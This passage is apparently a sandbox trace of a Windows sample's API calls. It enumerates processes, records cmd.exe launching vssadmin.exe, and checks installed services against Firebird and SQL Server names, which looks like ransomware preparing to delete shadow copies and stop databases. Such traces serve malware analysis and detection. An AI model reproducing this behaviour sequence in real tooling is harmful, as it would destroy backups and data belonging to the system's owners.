th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.644] lstrlenW (lpString="svchost.exe") returned 11 [0055.644] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.645] lstrlenW (lpString="svchost.exe") returned 11 [0055.645] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.645] lstrlenW (lpString="audiodg.exe") returned 11 [0055.645] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.645] lstrlenW (lpString="svchost.exe") returned 11 [0055.645] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.646] lstrlenW (lpString="svchost.exe") returned 11 [0055.646] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.646] lstrlenW (lpString="dwm.exe") returned 7 [0055.646] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.646] lstrlenW (lpString="explorer.exe") returned 12 [0055.646] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.646] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.647] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.647] lstrlenW (lpString="taskhost.exe") returned 12 [0055.647] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.647] lstrlenW (lpString="svchost.exe") returned 11 [0055.647] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.647] lstrlenW (lpString="taskeng.exe") returned 11 [0055.647] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.648] lstrlenW (lpString="taskhost.exe") returned 12 [0055.648] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0055.648] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0055.648] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0055.648] lstrlenW (lpString="noticed.exe") returned 11 [0055.648] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0055.649] lstrlenW (lpString="uploaded.exe") returned 12 [0055.649] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0055.649] lstrlenW (lpString="hardware.exe") returned 12 [0055.649] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0055.649] lstrlenW (lpString="oracle.exe") returned 10 [0055.649] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0055.650] lstrlenW (lpString="creativity.exe") returned 14 [0055.650] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0055.650] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0055.650] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0055.650] lstrlenW (lpString="edited.exe") returned 10 [0055.650] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0055.651] lstrlenW (lpString="custody.exe") returned 11 [0055.651] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0055.651] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0055.651] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0055.651] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0055.651] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0055.651] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0055.651] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0055.652] lstrlenW (lpString="radius.exe") returned 10 [0055.652] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0055.652] lstrlenW (lpString="extensions.exe") returned 14 [0055.652] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0055.652] lstrlenW (lpString="desperate.exe") returned 13 [0055.652] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0055.653] lstrlenW (lpString="professor-mo.exe") returned 16 [0055.653] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0055.653] lstrlenW (lpString="guidance.exe") returned 12 [0055.653] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0055.653] lstrlenW (lpString="week.exe") returned 8 [0055.653] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0055.654] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0055.654] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0055.654] lstrlenW (lpString="sn featured.exe") returned 15 [0055.654] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0055.654] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0055.654] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0055.654] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0055.654] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.655] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.655] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0055.655] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0055.655] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.655] lstrlenW (lpString="cmd.exe") returned 7 [0055.655] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.656] lstrlenW (lpString="conhost.exe") returned 11 [0055.656] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.656] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.656] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.656] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.656] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.657] lstrlenW (lpString="svchost.exe") returned 11 [0055.657] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.657] CloseHandle (hObject=0x3d8) returned 1 [0055.657] Sleep (dwMilliseconds=0x1f4) [0056.582] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32981c0 [0056.594] EnumServicesStatusExW (in: hSCManager=0x32981c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0056.598] GetLastError () returned 0xea [0056.598] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4f30020 [0056.600] EnumServicesStatusExW (in: hSCManager=0x32981c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f30020, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f30020, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0056.617] CloseServiceHandle (hSCObject=0x32981c0) returned 1 [0056.621] lstrlenW (lpString="Appinfo") returned 7 [0056.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.627] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.629] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.630] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.632] lstrlenW (lpString="AudioSrv") returned 8 [0056.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.634] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.634] lstrlenW (lpString="BFE") returned 3 [0056.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.637] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.638] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.639] lstrlenW (lpString="CryptSvc") returned 8 [0056.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.643] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.644] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.644] lstrlenW (lpString="CscService") returned 10 [0056.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.646] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.646] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.646] lstrlenW (lpString="DcomLaunch") returned 10 [0056.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.647] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.647] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.647] lstrlenW (lpString="Dhcp") returned 4 [0056.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.652] lstrlenW (lpString="Dnscache") returned 8 [0056.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.658] lstrlenW (lpString="DPS") returned 3 [0056.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.659] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.659] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.660] lstrlenW (lpString="eventlog") returned 8 [0056.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.660] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.661] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.661] lstrlenW (lpString="EventSystem") returned 11 [0056.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.664] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.666] lstrlenW (lpString="gpsvc") returned 5 [0056.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.670] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.670] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.671] lstrlenW (lpString="iphlpsvc") returned 8 [0056.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.672] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.672] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.673] lstrlenW (lpString="LanmanServer") returned 12 [0056.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.674] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.674] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.675] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.677] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.677] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.677] lstrlenW (lpString="lmhosts") returned 7 [0056.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.681] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.681] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.683] lstrlenW (lpString="MMCSS") returned 5 [0056.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.685] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.685] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.685] lstrlenW (lpString="MpsSvc") returned 6 [0056.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.686] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.686] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.687] lstrlenW (lpString="Netman") returned 6 [0056.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.693] lstrlenW (lpString="netprofm") returned 8 [0056.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.697] lstrcmpiW (lpString1="sqlwriter", 